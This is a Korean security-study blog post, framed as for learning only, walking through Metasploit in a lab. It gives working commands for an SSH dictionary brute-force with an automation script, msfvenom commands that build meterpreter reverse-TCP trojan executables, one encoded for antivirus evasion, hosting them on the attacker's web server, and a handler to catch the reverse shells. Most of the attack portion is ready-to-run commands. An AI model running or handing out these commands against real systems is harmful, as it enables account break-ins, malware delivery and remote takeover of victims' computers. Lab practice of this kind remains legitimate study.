블로그의 모든 내용은 학습 목적으로만 사용하세요.
불법적인 행위에 대한 모든 책임은 당사자에 있습니다.
kali(23.2) : 공격자
C&C : 배포 서버 / 원격조정 서버
공격 대상
32비트 대상 : win XP
64비트 대상 : win 10
현재 kali의 웹사이트


: apache2의 홈 디렉터리

: 홈 디렉터리에 테스트용 파일 생성

: 웹사이트로 파일 배포 성공
악성 코드 작성
msfvenom을 이용한다.
직접 코드를 작성한다.
~> 목표 : 상대방의 shell을 획듣한다. ~> 루트킷 / 좀비PC / 백도어 : 시스템 쉘에 직접적으로 접근
~> JSP / PHP / ASP : 웹 서버를 기반으로 쉘을 획듣 : 웹쉘
msf (venom) : 독액(exploit)
서버 - 클라이언트 : 클라이언트가 서버를 원격 제어한다.
피해자 : 서버
공격자 : 클라이언트 ~> 좀비PC : Reverse_TCP
피해자(서버) ~> 공격자(클라이언트)에 접속
피해자는 공격자에게 원격 제어를 받는다.
Net Cat
Server : nc [자신의 ip] 4444
Client : nc -l 4444
해커 : 악성코드 생성 ~> venom 생성 (자신의 IP / Port)
----------------------- : 피해자에게 알려줘야 접속 가능
피해자에게 전달할 정보 : Payload
악성코드 : 취약점 코드 + Payload
(Exploit Code)
MSFvenom : MSF안에 있는 원격 제어 공격 코드만 추출되어 있다.
Reverse_TCP : 핵심 공격 코드
MSF 확인
실행 명령어 : msfconsole

2332 exploits : 취약점을 이용하여 프레임 워크가 임의의 코드를 실행할 수 있게 해준다.
공격자에 의해 노출된 취약점을 이용할 수 있는 코드 (CVE)
1219 auxiliary : exploit으로 분류하기 애매한 모듈, 페이로드, 타겟이 없는 스캔, Dos 등
(스캐너를 포함한다.)
1392 payloads : exploit이 성공한 후에 타겟 머신에 실행할 코드
exploit을 로딩한 후 사용된다.
(공격을 하기 위한 대상, 포트, 부가 옵션)
(취약점을 통해 목표 시스템에서 실행할 shell 코드 등을 의미)
46 encoders : 공격 / 정보 전달 과정에서 문자열 전환
11 nops : 실제로 레지스터 상태나 프로세스 플래그에 영향을 미치지 않으면서 실행을 계속하는
인스트럭션을 생성한다. (접속 유지)
9 evasion : 회피 모듈은 Windows Defender 바이러스 백신을 방지하는
Windows 실행 파일 EXE를 생성하는데 도움이 된다.
이것은 메타즘, 안티 에뮬레이션, 쉘 코드 암호화, 소스 코드 난독화와 같은 다양한 기술들을 사용한다.
msf6 > : msfconsole의 Shell
msf ~> PostgreSQL을 사용하여 데이터베이스를 유지한다.
msf의 DB 초기화

: msf 데이터베이스 재시작

: msfdb init
MSF 사용법
취약점 스캐너 : CVE ~> 검색 키워드로 활용
ex) CVE-2018-10933
: search CVE-2018-10933

bypass : 인증 우회

: 문자열로 검색
특정 모듈을 선정(Exploit / OS / 서비스)
: auxiliary/scanner/ssh/libssh_auth_bypass
특정 모듈에 대한 설명 확인

: info 특정 모듈

: 옵션 부분을 가져와 확인해보니 RHOSTS(대상 IP)와 포트(RPORT)가 필요하다 적혀있고, 포트 기본 설정값은 22로 되어있다.
실행 방법
use : 명령어 ~> 특정 모듈을 사용
: use auxiliary/scanner/ssh/libssh_auth_bypass

: options ~> 현재 선택된 모듈에서의 페이로드값 확인
~> RHOSTS가 필요
옵션 설정 명령어 : set

공격 실행 : run / exploit

확인 명령어 : sessions

: No active sessions인 것을 보니 공격 실패하였다.
뭐지
브루트 포스
사용 모듈 : auxiliary/scanner/ssh/ssh_login
id 파일 / pw 파일을 사전에 준비해둔다. ~> 딕셔너리 어택


설정 옵션
set RHOSTS 4.4.4.4
set USER_FILE ~/users.txt
set PASS_FILE ~/pass.txt



: 구동 후 확인해보니 공격에 성공한 것을 확인할 수 있다.
세션 접속 명령어 : sessions Id


: 확인
명령어 모음
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 4.4.4.4
set USER_FILE ~/users.txt
set PASS_FILE ~/pass.txt
run -j
자동화 ~> rc 파일
cat > ssh_bruteforce_pw_id.rc
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 4.4.4.4
set USER_FILE ~/users.txt
set PASS_FILE ~/pass.txt
run -j
자동화
: msfconsole -r ssh_bruteforce_pw_id.rc
MSF 모듈 중 reverse_tcp 모듈을 활용하는 msf 유틸리티 : msfvenom
meterpreter : msf에서 사용하는 쉘 환경
대상 운영체제 : windows ~> Win XP
공격 기법 : Reverse_TCP : 서버가 클라이언트에 접속해서 클라이언트의 제어를 받는다.
exploit ~> 운영체제 ~> Service -- 공격 방식 선정
(32비트)
~> exploit/windows/meterpreter/reverse_tcp
~> payload/windows/meterpreter/reverse_tcp

: Reverse_tcp 공격이기 때문에 LHOSTS와 LPORT가 필요하다.
set LHOSTS Kali
set LHOSTS 4.4.4.5
LPORT : 기본값 4444
Kali는 클라이언트로써 미터프리터를 사용한 상태에서 대기 상태를 만들면 된다.
피해자(서버)에게 전달할 악성코드 작성
msfvenom -p windows/meterpreter/reverse_tcp LHOST=4.4.4.5 LPROT=4444 -f exe -o risut.exe
--------------------- : C&C서버(Kali)
웹사이트에 악성코드를 넣을 것이기에

: 웹 홈디렉터리에 악성코드 생성

: 웹사이트에 저장된 악성코드 실행 파일을 저장받는다.

KALI(클라이언트 셋팅)
meterpreter 접근 : Handler
역할 : Web서버를 이용한 악성코드 배포 서버 역할
C&C 서버의 역할 수행(클라이언트) ~> 셋팅
msfconsole ~> Handler

사용 모듈 : exploit/multi/handler

페이로드 설정
set LHOST 4.4.4.5
어떤 공격을 통해 C&C 서버로 접속하는지 알려준다.
set payload windows/meterpreter_reverse_tcp

대기모드
: run -j -z

: 4.4.4.5의 4444포트를 대기상태로 설정되었다.
이제 XP에서 악성코드 파일을 실행하면

: 붙어야 함 ㅇㅇ 난 틀리지 않음 ㅇㅇ
Win 10
msfconsole
use exploit/multi/handler
set LHOST 4.4.4.5
set payload windows/meterpreter_reverse_tcp
run -j -z
msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=4.4.4.5 lport=4444 -f exe -e x64/zutto_dekiru -i 3 -o /var/www/html/risut_2.exe
'보안 공부' 카테고리의 다른 글
| File Inclusion (0) | 2023.12.14 |
|---|---|
| Command Injection (0) | 2023.12.14 |
| 주요정보통신보안_Windows (0) | 2023.08.01 |
| kali tool (0) | 2023.07.25 |
| CSRF (0) | 2023.07.21 |